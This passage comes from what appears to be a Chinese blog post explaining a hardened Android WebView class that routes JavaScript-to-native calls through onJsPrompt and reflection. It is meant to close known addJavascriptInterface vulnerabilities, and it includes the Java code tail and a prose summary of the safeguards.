            e.printStackTrace();
        } catch (Exception e) {
            e.printStackTrace();
        }


        result.cancel();
        return succeed;
    }


    /**
     * 解析出参数类型
     *
     * @param obj
     * @return
     */
    private Class<?> getClassFromJsonObject(Object obj) {
        Class<?> cls = obj.getClass();


        // js对象只支持int boolean string三种类型
        if (cls == Integer.class) {
            cls = Integer.TYPE;
        } else if (cls == Boolean.class) {
            cls = Boolean.TYPE;
        } else {
            cls = String.class;
        }


        return cls;
    }


    /**
     * 解析JavaScript调用prompt的参数message,提取出对象名、方法名,以及参数列表,再利用反射,调用java对象的方法。
     *
     * @param view
     * @param url
     * @param message      MyApp:{"obj":"jsInterface","func":"onButtonClick","args":["从JS中传递过来的文本!!!"]}
     * @param defaultValue
     * @param result
     * @return
     */
    private boolean handleJsInterface(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
        String prefix = MSG_PROMPT_HEADER;
        if (!message.startsWith(prefix)) {
            return false;
        }


        String jsonStr = message.substring(prefix.length());
        try {
            JSONObject jsonObj = new JSONObject(jsonStr);
            // 对象名称
            String interfaceName = jsonObj.getString(KEY_INTERFACE_NAME);
            // 方法名称
            String methodName = jsonObj.getString(KEY_FUNCTION_NAME);
            // 参数数组
            JSONArray argsArray = jsonObj.getJSONArray(KEY_ARG_ARRAY);
            Object[] args = null;
            if (null != argsArray) {
                int count = argsArray.length();
                if (count > 0) {
                    args = new Object[count];


                    for (int i = 0; i < count; ++i) {
                        Object arg = argsArray.get(i);
                        if (!arg.toString().equals("null")) {
                            args[i] = arg;
                        } else {
                            args[i] = null;
                        }
                    }
                }
            }


            if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {
                return true;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }


        result.cancel();
        return false;
    }


    private class WebChromeClientEx extends WebChromeClient {
        @Override
        public final void onProgressChanged(WebView view, int newProgress) {
            injectJavascriptInterfaces(view);
            super.onProgressChanged(view, newProgress);
        }


        @Override
        public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
            if (view instanceof SafeWebView) {
                if (handleJsInterface(view, url, message, defaultValue, result)) {
                    return true;
                }
            }


            return super.onJsPrompt(view, url, message, defaultValue, result);
        }


        @Override
        public final void onReceivedTitle(WebView view, String title) {
            injectJavascriptInterfaces(view);
        }
    }


    private class WebViewClientEx extends WebViewClient {
        @Override
        public void onLoadResource(WebView view, String url) {
            injectJavascriptInterfaces(view);
            super.onLoadResource(view, url);
        }


        @Override
        public void doUpdateVisitedHistory(WebView view, String url, boolean isReload) {
            injectJavascriptInterfaces(view);
            super.doUpdateVisitedHistory(view, url, isReload);
        }


        @Override
        public void onPageStarted(WebView view, String url, Bitmap favicon) {
            injectJavascriptInterfaces(view);
            super.onPageStarted(view, url, favicon);
        }


        @Override
        public void onPageFinished(WebView view, String url) {
            injectJavascriptInterfaces(view);
            super.onPageFinished(view, url);
        }
    }
}
这段代码基本是按照上面所描述的情况来写的,修复了上面提到的几个漏洞,这里再描述一下几个需要注意的点:
removeUnSafeJavascriptImpl :该函数用来在特定版本删除上面提到的几个 Google 注入的对象;
setWebViewClient 和 setWebChromeClient :重写这两个函数用来防止子类使用原生的 WebViewClient 和 WebChromeClient 导致失效;
在上面提到的 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged 几个方法里面调用 injectJavascriptInterfaces 方法来注入生成的 JS 代码;
genJavascriptInterfacesString 函数用来生成需要注入的 JS 代码,其中通过 filterMethods 方法过滤掉了上面提到的几个需要过滤的方法;
注入完 JS 之后,Web 端就可以根据方法名调用对应终端注入的这段 JS 函数,然后调用到终端的 onJsPrompt 方法,通过 message 变量将信息传递过来,终端解析出对象、方法名和参数,最后通过反射的方法调用到 Native 层的代码,另外如果需要返回值,则可以通过 JsPromptResult 对象通过 confirm 函数将信息从 Native 层传递给 Web 端,这样就实现了一个完整的调用链。
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值